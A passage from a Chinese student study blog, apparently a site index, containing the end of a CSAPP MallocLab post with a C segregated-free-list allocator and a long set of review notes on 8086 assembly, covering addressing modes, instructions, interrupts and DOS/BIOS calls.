这个实现要求返回的指针8字节对齐 // check!!! // 设计上哪里还有漏洞，再比对一下 int mm_init(void) { // 先初始化空闲链表free_lists // 开始时空闲链表的每个指针都定义成堆底的指针 free_lists = mem_heap_lo(); for (int index = 0; index \u0026lt; FREE_LIST_NUMBER; ++index) { // 每个分四字节 // 我们分配了FREE_LIST_NUMBER个双字，每个双字都用来存放链表的头指针 if ((heap_listp = mem_sbrk(2 * WORD_SIZE)) == (void *)-1) { return -1; } // 开始时free_lists所有的指向的地址都为堆底的地址 // 这里就是从堆底开始的15个双字，每个都存放着堆底的地址 free_lists[index] = 0; } // 此时双字对齐，我们开四个字来存放序言块和结尾块 if ((heap_listp = mem_sbrk(4 * WORD_SIZE)) == (void *)-1) { return -1; } // 紧接着我们来分配头部 // 第一个字填充 WRITE(heap_listp, 0); // 后两个字是序言块，已分配的8字节 WRITE(heap_listp + (1 * WORD_SIZE), PACK(2 * WORD_SIZE, 1)); WRITE(heap_listp + (2 * WORD_SIZE), PACK(2 * WORD_SIZE, 1)); // 然后是结束标志的header,(Epilogue Header),大小为0,但是已经分配 // 这里的PACK3是自己分配，并且自己前方的块也已经分配的意思。 WRITE(heap_listp + (3 * WORD_SIZE), PACK(0, 3)); // heap_listp指向序言块的header，这样序言块就不会被释放 heap_listp += 2 * (WORD_SIZE); // 申请一个page的内存失败。 if (extend_heap(CHUNK_SIZE / WORD_SIZE) == NULL) { return -1; } return 0; } /* * mm_malloc - Allocate a block by incrementing the brk pointer. * Always allocate a block whose size is a multiple of the alignment. */ // check!!! 唯一有可能是因为取整的问题出错 // 接下来要检查其余的函数 void *mm_malloc(size_t size) { // malloc的新逻辑 size_t alloc_size, extend_size; void *hp; if (heap_listp == NULL) { mm_init(); } if (size == 0) { return NULL; } size = adjust_size(size); // 保证对齐，可以用来存储头部或者脚部 if (size \u0026lt;= 2 * WORD_SIZE) { alloc_size = 4 * WORD_SIZE; } else { // 要分配的块向上取整 // 多了8个字节的大小 alloc_size = (2 * WORD_SIZE) * ((size + (WORD_SIZE) + (2 * WORD_SIZE - 1)) / (2 * WORD_SIZE)); // alloc_size = adjust_size(alloc_size); // ++test_number; // printf(\u0026#34;%d:要分配%ld个字节......\\n\u0026#34;, test_number, alloc_size); // printf(\u0026#34;Alloc size is %ld...\\n\u0026#34;, alloc_size); // size_t number = size / (2 * WORD_SIZE); // number += 1; // alloc_size = 2 * WORD_SIZE * number; } if ((hp = first_fit(alloc_size)) != NULL) { // ++test_number; // printf(\u0026#34;%d Alloc Size IS %d !!!\\n\u0026#34;, test_number, alloc_size); place(hp, alloc_size); return hp; } // 扩展堆，内存不足 // 也就是堆内存扩展的时候出了问题 extend_size = MAX(CHUNK_SIZE, alloc_size); //++test_number; // printf(\u0026#34;%d:产生了堆扩展，扩展大小为 %ld 个字节\\n\u0026#34;, test_number, extend_size); if ((hp = extend_heap(extend_size / WORD_SIZE)) == NULL) { return NULL; } place(hp, alloc_size); return hp; } /* * mm_free - Freeing a block does nothing. * 释放本身是很简单的逻辑 */ // check!!! void mm_free(void *ptr) { if (ptr == NULL) { return; } if (heap_listp == NULL) { mm_init(); return; } size_t size = GET_SIZE(HEAD_PTR(ptr)); size_t is_prev_alloc = IS_PREV_ALLOC(HEAD_PTR(ptr)); // // 更改头部和尾部 // 因为这是一个空闲块，所以我们前后都要进行写入 WRITE(HEAD_PTR(ptr), PACK_ALL(size, is_prev_alloc, 0)); WRITE(TAIL_PTR(ptr), PACK_ALL(size, is_prev_alloc, 0)); // 合并空闲块的逻辑 coalesce(ptr, size); } /* * mm_realloc - Implemented simply in terms of mm_malloc and mm_free */ void *mm_realloc(void *ptr, size_t size) { void *oldptr = ptr; void *newptr; size_t copySize; newptr = mm_malloc(size); if (newptr == NULL) return NULL; copySize = *(size_t *)((char *)oldptr - SIZE_T_SIZE); if (size \u0026lt; copySize) copySize = size; memcpy(newptr, oldptr, copySize); mm_free(oldptr); return newptr; } // void debug_heap() // { // printf(\u0026#34;======= 空闲链表状态 =======\\n\u0026#34;); // for (int i = 0; i \u0026lt; FREE_LIST_NUMBER; ++i) // { // printf(\u0026#34;FreeLists[%d]: \u0026#34;, i); // char *bp = (char *)mem_heap_lo() + (size_t)free_lists[i]; // while (bp != mem_heap_lo()) // { // printf(\u0026#34;[%u] -\u0026gt; \u0026#34;, GET_SIZE(HEAD_PTR(bp))); // bp = NEXT_NODE(bp); // } // printf(\u0026#34;NULL\\n\u0026#34;); // } // } ​\t一些注释还只是一些很少部分的debug记录，一定要反省！！！\n我是真的垃圾。。。。。。\n","date":"2025-06-01","externalUrl":null,"permalink":"/zh-cn/csapp/csappmalloclab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eVirtual Memory:MallocLab \n    \u003cdiv id=\"virtual-memorymalloclab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#virtual-memorymalloclab\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCSAPP中关于虚拟内存的一点简单笔记。\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e1.物理和虚拟寻址 \n    \u003cdiv id=\"1%E7%89%A9%E7%90%86%E5%92%8C%E8%99%9A%E6%8B%9F%E5%AF%BB%E5%9D%80\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#1%E7%89%A9%E7%90%86%E5%92%8C%E8%99%9A%E6%8B%9F%E5%AF%BB%E5%9D%80\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\n    \u003cfigure\u003e\n      \u003cimg class=\"my-0 rounded-md\" loading=\"lazy\" src=\"/img/image-20250513200943305.png\" alt=\"image-20250513200943305\" /\u003e\n      \n    \u003c/figure\u003e\n\u003c/p\u003e","title":"CSAPP:MallocLab","type":"csapp"},{"content":" 汇编语言复习 # ​\t1.这是某学校汇编语言的课程内容，简单做一个复习的笔记，如果能帮到校友就更好了\u0026hellip;\u0026hellip;\n​\t2.整体来看感觉内容不多，但是很杂很乱，容易一开始让人很不知所以然，再加上讲课老师感觉逻辑性不算很强，可能让人感觉有点劝退，但是这门课程本身还是相当重要的\u0026hellip;\u0026hellip;\n​\t3.然后就是关于本课程的实验，我的评价就是善用AI，如果你觉得很难写，但是前提是你先要看得懂并且会用MASM工具来调试。\n​\t4.手写代码占30分，这个要卷的话看下上机作业，不卷随缘，剩下基本都是八股。\n​\t5.我的笔记确实复制粘贴了很多PPT，但是哪怕是PPT你也会想看带目录的对么\u0026hellip;\u0026hellip;\n​\t6.关于考试，我整理了一个文件，存放了两个往年题，并且我个人的考试经验来看，第二套往年题目相当具有参考价值，点击这里下载。最后一道关于I/O的编程题目几乎是类似的，没有答案，你直接截图给某个GPT就可以了。\n第一章 基础 # 第一章只有一些基本的概念。\n执行过程 # 二进制数：计算机硬件唯一识别和使用的数制 以2为基的数制表示法，数由2个数字构成（0、1），二进制数后缀为B， 如10110111B。 十进制数：人类自然语言中常用的数制 以10为基的数制表示法，数由10个数字构成（09），十进制数后缀为D， 如1945D。 十六进制数：程序设计中方便使用和转换的数制 以16为基的数制表示法，数由16个数字构成[09、A（10）、B（11）、 C（12）、D（13）、E（14）、F（15）]，十六进制数后缀为H，如 18ADH。\n进制的转换 # 数码的表示 # 1.原码表示法 # （1）原码表示法： 将数的真值形式中的正（负）号，用代码0(1)来表示，数 值部分用二进制来表示。符号 + 绝对值 正数：符号位为0，后面的n-1位为数值部分 负数：符号位为1，后面的n-1位为数值部分 （2）原码的特点 “0” 的原码有两种表示法 [+0]原＝00000000B, [-0]原＝10000000B n位二进制原码所能表示的数值范围为： -(2n-1-1)～(2n-1-1)\n原码表示一个数时，最高位为符号位\n[+3]原码 = 0 000,0011 = 03H [-3]原码 = 1 000,0011 = 83H [+0]原码 = 0 000,0000 = 00H [-0]原码 = 1 000,0000 = 80H\n2.反码表示法 # 正数的反码同原码，负数的反码数值位与原码相反 例：n=8bit [+5]反码 = 0 000,0101 = 05H [-5]反码 = 1 111,1010 = FAH [+0]反码 = 0 000,0000 = 00H [-0]反码 = 1 111,1111 = FFH 0的表示不唯一\n3.补码表示法 # （1）补码表示规则： 正数的补码: 符号 - 绝对值（与正数的原码相同） [+1]补码 = 0000 0001 = 01H [+127]补码 = 0111 1111 = 7FH [+0]补码 = 0000 0000 = 00H 负数的补码: 负数 X 用 2n-|X| 表示 [-1]补码 = 28-1 = 1111 1111 = FFH [-127]补码 = 28-127 = 1000 0001 = 81H 一种简单方法： （1）写出与该负数相对应的正数的补码 [-1]补=1111 1111 [+1]补= 0000 0001 （2）按位求反1111 1110 （3）末位加1\n第二章 80x86计算机组织 # 2.1 三种模式 # 实模式-虚拟8086模式-保护模式\n*2.2 寄存器（Register）： # 数据寄存器 # (暂态计算中用到的寄存器)\nAH(high) AL(low)\nAX(adder) BX(base) CS(counter) DX(double)\n指针寄存器 # 指针和变址寄存器用来引用一些数据：能够存放偏移量。\nSP(stack pointer)\nBP(base pointer)\nSI(source) DI(destination)\n段寄存器 # 在存储器中用分段的方式来管理数据，存放了很多base地址。\nCS(code segment) SS(stack segment) DS(data segment) ES(append segment)\n控制寄存器 # IP（Instruction pointer）\u0026mdash;》指令地址的偏移量\nflags有哪些，什么意思？\n标志位分类 ➢ 条件（状态）标志 OF、SF、ZF、AF、CF和PF，其值取决于一个操作完成后，算逻部件ALU所处的状态。 ➢ 控制标志和系统标志 DF、IF和TF，其值是通过指令人为设置的，用以控制程序的执行。\n陌生的flag寄存器：\n*2.3 存储器 # ◆ 计算机存储信息的基本单位是一个二进制位 ◆ 8086字长为16位，地址长度20位 ◆ 80386以上机的字长为32位，地址长度32位以上\n怎么表示？\n​\tLittle Endian：小端法，03080H是低的地址，存到低位的字节，03081H是高位的地址，就存放到高位的字节，这里是重点。\n存储器采用分段管理后，一个内存单元地址要用段基地址和偏移量两个逻辑地址来描述，表示为:\n​\t段基址:偏移量\n就是要理解分段的机制。\n存储器分段：段起始地址必须是某一小段的首地址，段的大小可以是64K范围内的任意字节。 **物理地址：**每个存储单元的唯一的20位地址。 段基地址：段起始地址(20位)=10H * 段寄存器(16位) \u0026mdash;-》在二进制上左移动了4个bit 偏移地址：段内相对于段起始地址的偏移量（16位），偏移量又称为有效地址（EA）。 物理地址 = 16d * 段寄存器 + 偏移地址 = 10H * 段寄存器 + 偏移地址\n几个段？ 4个。\n中间比较复杂的部分都是操作系统的内容，可以暂时不管。\n第三章 指令系统和寻址方式 # 3.1\t80X86寻址方式 3.2\t80X86机器语言指令概况 3.3\t80X86指令系统\n3.1 怎么寻找地址？ # 寻址方式：指令指定操作数地址的方式 1、与操作数据有关的寻址方式 2、与转移地址有关的寻址方式\n操作数通常保存在： （1） 指令中MOVAX, 2000H （2） CPU的寄存器中MOVAX, BX （3） 内存单元中MOVAX, [2000H] （4） I/O接口寄存器中INAH, 20H\n3.1.1 与数据有关的寻址方式 # 经常拿来改错。\n还会考察你什么形式是怎样的寻址方式。\n[]间接引用地址，相当于引用，在内存中取地址。\n作用：\n不加 []：直接数值或地址 mov al, VALUE\n如果 VALUE DB 66H：不加中括号，会被解释为立即数 66H 编译后等同于： mov al, 66h ⚠️ 但在某些上下文中可能错误，比如你写：\nmov ax, VALUE ; VALUE 是 DB 类型，而 AX 是 16 位寄存器 → 错误！\n加 []：访问内存地址中的内容 mov al, [VALUE]\n现在 VALUE 被当作一个内存地址，意思是： “从地址为 VALUE 的内存中取出一个字节的值，放到 AL 里” 假如： VALUE DB 66H 则执行完之后：AL = 66H 这是直接寻址方式（Direct Addressing）。\n怎么来做偏移？\nEA的计算方法：重点\n要注意的表示方式。\n缺省的时候默认就是DS数据段。\nMOV BX，[2100H]；DS：[2100H] →BX\n容易混淆的地方：\n用 VALUE DB 10 定义了一个变量，那么VALUE是这个定义的变量的内存地址的符号名（指针）\nMOV AX，VALUE 符号不对应。\ndata segment value db 66H other db 88H arr db 12h, 34h, 56h, 78h data ends code segment mov ax, data mov ds, ax mov al, value mov cl, [value] mov ax, word ptr value mov bx, word ptr [value] ... code ends 指令 正确性 说明 mov al, value ✅ 默认等价于 mov al, [value] mov cl, [value] ✅ 显式间接寻址，读取一个字节 mov ax, word ptr value ⚠️ 虽然合法，但读取了 value 和 other 两个字节 mov bx, word ptr [value] ⚠️ 同上，低地址是 value，高地址是 other 都差不多。\nbase pointer 和 stack segment（SS）来做配合处理。\n◼ 只要指令寻址时使用了BP，计算物理地址时约定段是SS段。 ◼ 指令寻址时使用了除BP以外的其它寄存器，计算物理地址时约定段为DS段。\n3.1.2 和转移地址相关的方式 # 寻找地址的方式，因为可能会转移到别的CS段中去。\n段内寻址：转移指令与转向的目标指令在同一代码段中CS内容不变，IP内容修改 段间寻址：转移指令与转向的目标指令在两个代码段中CS和IP内容修改 直接寻址：转向的目标指令地址由转移指令直接指明\n间接寻址：转向的目标指令地址由转移指令中的寄存器或存储单元内容给出\n1.段内直接寻址 # 相当于给IP直接加上此时两个位置的地址之间的差值。\n2.段内间接寻址 # 两张PPT可以解决问题，实际上就是用offset做间接的取值。\n注意这里的si是16位，也就是近转移。\n例题：\n3.段间直接寻址 # 这就是直接更改代码段的CS和IP的值来跳转。IP在CS上面。\n4.段间间接寻址 # 下面的图比较重要：\n条件转移指令只能使用段内直接寻址方式 无条件转移（JMP）和转子指令（CALL）可用四种方式的任何一种\n3.2 80X86语言指令概况 # 不重要吧，对于考试。\n3.3 80X86指令系统 # 3.3.1 数据传送指令 # 注意pushA和popA，把所有的寄存器从stack上面进行移动。\n容易错的位置：\nDS这样的段寄存器不能用立即数更改。\nCS不能修改。\n不能直接从内存到内存。\nMOVSX MOVZX\t有符号和0扩展的区别，比较简单。\npush 和 pop 指令\n注意只能处理16bit和32bit的寄存器，不能POP AL!!!\n注意栈顶位于低地址位置，当你push数据的时候，sp的值应该减少。\npop是把stack里面的值拿出来放到DST里面去。\nXCHG直接作交换\n注意操作数是32bit 还是 16bit，来决定SP的增减值的大小。\nIN OUT这里只能用于Adder寄存器。\nI/O指令的输入和输出 # 输入和输出都是站在CPU的角度上对于端口。\n用AL寄存器接收来自于27H端口的数据。\n地址传送指令\n能同时改变两个寄存器的原始指令。\n送给寄存器的同时还送给段寄存器。\n低16bit给寄存器，高16bit给段寄存器。\n很好的一个例子：\n类型转换指令 # BSWAP：什么逆天指令？\n3.3.2 算术指令 # 1.加法指令（加法指令ADD、带进位加法指令ADC、加1指令INC等） # (1)加法指令 ADD\n格式：ADD DST,SRC 功能：（DST）＋（SRC）→ (DST) 说明：对操作数的限定同MOV指令 (2)带进位加法指令 ADC\n多个字节或者多个字的时候用ADC处理。\n格式: ADC DST,SRC 功能:（DST）＋（SRC）＋CF→(DST) 说明:对操作数的限定同MOV指令,该指令适用于多字节或多字的加法运算\n(3)加1指令 INC 格式：INC OPR 功能：（OPR）＋1 → (OPR) 说明：很方便地实现地址指针或循环次数的加1修改 (4)互换并加法指令 XADD(486以上)\n和ADD一样，就是把SRC的值更换成了原来的DST。\n格式：XADD DST，SRC 功能: (SRC) + (DST) → 暂存器 (DST) → (SRC) 暂存器→(DST) 说明：该指令执行后,原DST的内容在SRC中,和在DST中\n2.减法指令（减法指令SUB、带借位减法指令SBB、减1指令DEC、求补指令NEG、比较指令CMP等） # (1)减法指令 SUB 格式：SUB DST,SRC 功能：（DST）－（SRC）→(DST) 说明：除是实现减法功能外，其他要求同ADD (2)带借位减法指令 SBB 格式:SBB DST,SRC 功能:(DST)－(SRC)－CF→(DST) 说明:除了操作为减外,其他要求同ADC,该指令适用于多字节或多字的减法运算 (3)减1指令 DEC 格式：DEC OPR 功能：(OPR)－1→(OPR) 说明：可以很方便地实现地址指针或循环次数的减1修改\n4)求补指令 NEG 格式：NEG OPR 功能：0FFFFH -(OPR)+1 → (OPR) 对目标操作数（含符号位）求反加1，并且把结果送回目标 说明：利用NEG指令可实现求一个数的补码 (5)比较指令 CMP\n只改变FLAG，不更改实际的value.\n格式:CMP OPR1,OPR2 功能:(OPR1)－(OPR2)，只影响标志位，不影响源和目的操作数 说明:这条指令执行相减操作后只根据结果设置标志位，并不改变两个操作数的原值，其他要求同SUB。CMP指 令常用于比较两个数的大小。\n3.乘法指令 （无符号乘法指令MUL、带符号数乘法指令IMUL等） # (1)无符号数乘法 MUL 格式: MUL SRC\t; SRC：除立即数以外的寻址方式 功能: 字节操作： (AL) * (SRC) → (AX) 字操作： (AX) * (SRC) → (DX:AX) 双字操作： (EAX) * (SRC) → (EDX:EAX) 乘积的高一半为0，则CF、OF均为0，否则CF、OF均为1 这样可以检查结果是字节、字或双字。 (2)带符号数乘法 IMUL 格式: IMUL SRC\t；SRC：除立即数以外的寻址方式 功能: 字节操作： (AL) * (SRC) → (AX) 字操作： (AX) * (SRC) → (DX:AX) 双字操作： (EAX) * (SRC) → (EDX:EAX) 乘积的高一半是低一半的符号扩展，则CF、OF均为0，否则CF、OF均为1。 其实质和MUL情况下一样，主要用于判断结果是字节、字或双字。\n📌 DX 寄存器的常见用途 # *乘法和除法指令中用于存放高位结果： 如无符号乘法 MUL： 16 位乘法时：AX × SRC = DX:AX，结果的高 16 位在 DX。 除法时也是如此，例如 DIV： 被除数是 DX:AX 组成的 32 位数。 端口输入输出指令中存储端口号： 比如 IN AL, DX 表示从 DX 寄存器所指端口读取字节到 AL。 OUT DX, AL 表示将 AL 中的数据写入 DX 所指端口。 通用用途寄存器（可存储临时变量、地址、计数值等） 4.除法指令（无符号除法指令DIV、带符号除法指令IDIV） # 考试大题会出一道类似于这样的手写代码，最好手写一遍，处理一些细节问题：怎样写出完整的可执行程序？\n5.十进制调整指令（DAA、DAS等） # 懒的看，考了再说。。。。。。\n3.3.3 逻辑指令 # 逻辑指令包括：\n１．逻辑运算指令 # 字面意思，大概看看\n２．位测试并修改指令 # 。。。。。。\n３．位扫描指令 # 。。。。。。\n４．移位指令 # 注意：那么✖2或者➗2的幂之类的就用位移运算最好。\n3.3.4 串处理指令 # 处理存放在存储器里的数据串，所有串指令都可以处理字节或字，386及后继机型还可以处理双字。 利用串操作指令可以直接处理两个存储器单元的操作数，方便地处理字符串或数据块。 串处理指令包括： MOVS 串传送 CMPS 串比较 SCAS 串扫描 LODS 从串取 STOS 存入串 INS 串输入（从I/O端口输入） OUTS 串输出（向I/O端口输出）\n和MOV有什么区别？\n功能 MOV MOVS 系列 用途 常规数据传送 字符串/内存块复制 位置指定 显式指定源和目标 隐式使用 SI/ESI/RSI 和 DI/EDI/RDI 可否用于循环 通常需要手写循环 可配合 REP 一条指令复制多次 是否影响 DF 不会 受方向标志位 DF 影响 注意源和目标的要放入的寄存器的位置。\nsource:DS:[SI]/ES:[SI]\ndestination:ES:[DI]\n自动化的更改这些变量，注意每次移动的大小取决于数据类型的大小。\nDF（direction flag） 决定复制的方向。\n先不管REP REPZ之类的\n3.3.5 控制转移指令 # 控制转移指令包括：\n１．无条件转移指令 # 具体情况：\n直接用位移量（相当于是利用EA的差值)或者间接用地址（直接利用EA)跳转。\n这里会考试：\n注意偏移量和位移量的区别。\n段间CS IP的值都要进行更改。\n２．条件转移指令 # 指令 条件 条件描述 JZ ZF = 1 上一条操作结果为 0（等于） JNZ ZF = 0 不等于 JC CF = 1 有进位（Carry） JNC CF = 0 无进位 JE 等于（其实和 JZ 一样） JNE 不等于（= JNZ） ３．条件设置指令 # ４．循环指令 # 80X86为了简化循环程序的设计，设计了一组循环指令如下： LOOP OPR LOOPE/LOOPZ OPR LOOPNE/LOOPNZ OPR\n1.只能短转移。\n2.CX或者ECX作为计数器。\nLOOP 指令做简化\n５．子程序调用/返回 # 子程序:子程序结构相当于高级语言中的过程(PROCEDURE).为便于模块化程序设计，往往把程序中某些具有独立功能的部分编写成独立的程序模块，称之为子程序。 程序中 由子程序调用指令调用子程序，而在子程序执行完后由返回调用指令返回调用程序继续执行。 80X86提供了以下指令 CALL子程序调用 RET子程序返回\n根据调用的类型：对于CS和IP进行压栈的操作。\nRET，就是恢复现场。\n６．中断指令/返回 # 有时当系统运行或者程序运行期间在遇到某些特殊情况时，需要计算机自动执行一组专门的程序来进行处理。 这种情况称为中断，所执行的这组程序称为中断例行程序或中断子程序。 其它随机事件，如I/O控制和数据传送，不采用中断方式系统效率会很低。\n注意和子程序调用的区别。\n保存疑IP CS FLAGS\nINT INTO IRET\n硬中断就是被动的。\n中断向量 ◼中断向量：中断处理子程序的入口地址 ◼在PC机中规定中断处理子程序为FAR型 ⚫ 每个中断向量占用4个字节，其中低两个字节为中断向量的偏移量部分,高两个字节为中断向量的段基址部分\n中断类型号 IBM PC机共支持256种中断，相应编号为0～255，把这些编号称为中断类型号。\n整个中断向量表就是指向一些code segment。\n256 * 4 = 1024bytes\n0000H \u0026mdash;》03FFH的内存单元。\n调用和返回：\n注意INT功能的过程，从中断向量表中取值。\n3.3.6 处理机控制指令 # 比如在调用中断程序之前，STI，设置中断允许的标志位。\n第四章 汇编语言程序格式 # 4.1 汇编程序功能 # 前面是linkerlab的内容。\n机器指令 伪指令（前面的定义数据之类的） 宏指令\n4.2 伪操作 # 伪操作：告诉汇编程序的某些功能说明或定义，仅在汇编时使用，不会汇编成任何机器指令。\n4.2.1 处理器选择伪操作 # .386P\n4.2.2 段定义伪操作 # 明确关系，主程序开始之前指定。\n4.2.3 程序开始和结束伪操作 # NAME TITLE END\n4.2.4 数据定义及存储器分配伪操作 # 到现在才讲数据段中怎样定义数据。\n看右边的具体例子。\n段基址 偏移量 类型\n注意以下这个例子：偏移量和放置的问题。\n4.2.5 表达式赋值伪操作EQU # 知道是EQU就可以：\n4.2.6 地址计数器对准伪操作 # ORG 设置，可以达到对齐的效果。\n4.2.7 基数控制伪操作 # 。。。。。。\n4.3 汇编语言程序格式 # 考察过上述的定义。\n4.4 汇编语言程序上机过程 # 返回DOS的方法。\nMOV AX, 4C00H\nINT 21H\n第五章 循环与分支程序 # 应该是没有考察过画图的问题：\n看一个跳转的例子：\n5.1循环程序设计 # 具体的多看看例题，或者自己手写代码。\n用CX控制循环的变量就可以。\n感觉右边的更好记忆。\n5.2分支程序设计 # 主要看一下跳转表：\n5.3如何在实模式下发挥 80386及其后继机型的优势 # 。。。。。。\n第六章 子程序调用（就是调用函数的准备） # 6.1子程序的设计方法 # procedure name PROC NEAR/FAR\n\u0026hellip;\u0026hellip;\nprocedure name ENDP\n子程序和调用者在不在同一个代码段之中，利用FAR NEAR\n比如：\nFAR属性在同一个段或者不同的段内都可以调用。\n段间调用压入CS寄存器：FAR属性和NEAR属性\n保护和恢复寄存器的方法\n◼ 子程序开始时，使用PUSH指令保存 ◼ 子程序返回前，使用POP指令恢复 ◼ 保存和恢复次序应该相反\n优先保存FLAG寄存器\n参数传送： # ​\t（1）通过寄存器传送参数 ​\t（2）通过存储器传送参数 ​\t*子程序和调用程序在同一程序模块中，则子程序可 直接访问模块中的变量 ​\t*子程序和调用程序不在同一程序模块中 ​\t（3）通过地址表传送参数地址 ​\t（4）通过堆栈传送参数或参数地址\n寄存器传送 # 大概看一下这段代码，同一个段中对于寄存器的访问都是相同的。\n存储器直接访问 # 传送一个table（地址表） # 参数很多，用offset把很多参数的起始位置放到一张表里：\n直接压入堆栈 # 类似于结构体的处理： # 怎么访问？\n6.4 *DOS系统功能调用 # 可能是考察重点。。。。。。\n系统功能调用是DOS为系统程序员及用户提供的一组常用子程序。 用户可在程序中调用DOS提供的功能。 DOS规定用INT 21H中断指令作为进入各功能调用子程序的总入口，再为每个功能调用规定一个功能号，以便进入相应各个子程序的入口。 DOS系统功能调用的分类： 设备管理、文件管理、目录管理\n过程图：\n例子：\n第七章 高级汇编语言技术 # 1.宏汇编 # 宏：源程序中一段有独立功能的程序代码。 宏指令：用户自定义的指令。在编程时，将多次使用的功能用一条宏指令来代替。\n像是模板或者C语言中的宏函数，直接复制粘贴。\n注意和子程序调用的区别：\n怎么写一个macro,以下的格式，调用的时候和高级语言是类似的:\n过程：\n这个替换过程的术语：\n接着是一些宏函数的特殊规定，看ppt即可\u0026hellip;\u0026hellip;这里就已经有高级语言的味道了\u0026hellip;\u0026hellip;\n1.可以没有参数。\n2.参数可以是操作数 比如ADD。\n3.LOCAL局部的变量，防止冲突。\n一个例子：\n2.重复汇编 # 例子：\n在data segment定义的简化的操作：\nIRP\n不定的重复，每次用一项来替换REG，天才。\nIRPC\n用字符串不停地替代哑元，直到结束。\n3.条件汇编 # 还是类似于C语言的头文件编译一样的东西\u0026hellip;\u0026hellip;\n举个简单例子：\n第八章 输入输出程序设计 # I/O设备的数据传送方式 # 由很多接口上面的寄存器来完成：\nI/O端口地址：为了访问接口上的寄存器，系统给这些寄存器分配专门的存取访问地址，这样的地址称为I/O端口地址。\n8086/8088CPU系统中，I/O端口地址和存储单元的 地址是各自独立的，分占两个不同的地址空间。 8086/8088CPU提供的I/O端口地址空间达64KB 可接64K个8位端口(字节)，或可接32K个16位端口(字)。 PC及其兼容机实际只使用0~3FFH之间的I/O端口地址。\u0026mdash;》（PC只用了10位地址线(A0-A9)进行译码，其 寻址的范围为0H-3FFH，共有1024个I/O地址。） 存取接口寄存器中的数据是依靠I/O指令完成的。 一些IO指令 # 程序直接控制IO，不停等待，直到可以输入或者输出： # 查询状态端口的数据。\n中断方式 # 如果你对中断感兴趣，可以查看这个网页：https://linux-kernel-labs-zh.xyz/so2/lec4-interrupts.html\n中断方式： 当外设准备好时，外设主动向CPU发出中断服务请求，CPU暂时中止现行程序的执行，转入中断服务处理程序完成输入/输出工作，之后返回被中断的程序继续执行。 中断方式特点： CPU和I/O设备能够并行运行。 具有及时处理响应意外事件或异常的能力。\n屏蔽中断方式 # 设置IF标志位\n硬件中断服务： # 软件中断是由程序本身导致的： # 程序中的中断指令 INT n 操作数n指出中断类型号，0—FFH 如 INT 12H ； 存储器容量测试 CPU的某些运行结果 除法错中断：除数为零/商超出表数范围，中断类型号为0的 内部中断 溢出中断：运算结果溢出，OF=1，INTO指令将引起类型为4 的内部中断 调试程序（DEBUG）设置的中断 单步中断：标志位TF=1时，中断类型号=1 断点中断：将程序分段，每段设置一个断点（INT 3），中 断类型号=3 中断向量表 # 相当于是一个映射map，设置对应的CS和IP，然后跳转执行对应的中断处理的程序。\nX86的内存空间分配（OS课中还会学到）：\n一个基本处理流程：\n中断响应\n中断处理\n中断返回\nCPU自动恢复\n和子程序调用的区别： # 中断与子程序调用处理过程相似，差别主要在于进入和返回时的处理不同。\n进入中断服务处理程序时 # 子程序调用：只把CS和IP压入堆栈。 中断：除把CS和IP压入堆栈外，还把标志寄存器的内容压入堆栈，并且关掉了中断和单步运行方式。\n返回时 # 子程序返回：只把断点地址从堆栈弹出送CS和IP。 中断返回：除恢复断点地址CS和IP外，还要恢复标志寄存器的内容。\n时机不同 # 中断：一般随机发生；软中断在程序中预先安排。 子程序调用：程序中预先安排调用。\n优先级的处理： # 80386程序中断 # 看不懂也懒得看了。\nBIOS中断和DOS中断 # 以下是ChatGPT的解释\n1. 定义 # BIOS（Basic Input/Output System） # 固件，存储在主板上的 ROM/EEPROM 芯片中，在计算机开机时运行。 负责执行自检（POST, Power-On Self Test）、初始化硬件、引导操作系统。 提供一组低级别的输入输出服务，如读写磁盘、键盘输入、显示输出、串口通信等。 DOS（Disk Operating System） # 操作系统，存储在硬盘或软盘中，在 BIOS 引导后加载。 负责管理文件系统、进程、设备驱动、命令解释等功能。 典型的 DOS 版本包括 MS-DOS、PC-DOS、FreeDOS 等。 2. 作用 # 系统 主要作用 BIOS 初始化硬件，执行自检（POST），引导操作系统，提供基础 I/O 接口 DOS 管理磁盘文件系统、提供命令行界面、运行应用程序 3. 联系 # 启动过程的衔接 计算机上电后，BIOS 首先执行，完成自检并寻找引导设备（软盘、硬盘、光盘等）。 BIOS 读取 DOS 的引导扇区（Boot Sector），然后加载 DOS。 DOS 依赖 BIOS 来访问低级硬件，如磁盘、键盘、屏幕等。 DOS 依赖 BIOS 进行硬件访问 早期 DOS 不直接控制硬件，而是通过**BIOS 提供的中断（如 INT 13h 读写磁盘，INT 10h 控制显示器）**与硬件交互。 例如，在 DOS 下运行的程序可以通过 INT 21h 调用 DOS 功能，而 INT 10h 直接调用 BIOS 来控制显示器。 BIOS 提供基本的驱动支持 DOS 启动时，可以直接使用 BIOS 的设备驱动程序（如磁盘、键盘）。 但 DOS 也可以加载更高级的驱动程序（如 HIMEM.SYS、CD-ROM 驱动等）来替代 BIOS 功能。 4. 区别 # 特性 BIOS DOS 存储位置 ROM/EEPROM 磁盘（硬盘、软盘） 运行时机 计算机启动时 BIOS 加载后 作用 硬件初始化、系统引导 文件管理、命令执行 是否可修改 固定在 ROM（可升级） 软盘/硬盘上，可修改 硬件访问方式 直接控制硬件 通过 BIOS 或驱动访问硬件 5. 总结 # BIOS 是计算机启动的第一步，它初始化硬件，并将操作系统（如 DOS）加载到内存中。 DOS 是一个基于磁盘的操作系统，在 BIOS 加载后运行，提供文件管理、命令解释等功能。 DOS 依赖 BIOS 进行低级硬件访问，但也可以加载自己的驱动程序绕过 BIOS。 现代操作系统（如 Windows、Linux）已经不再依赖 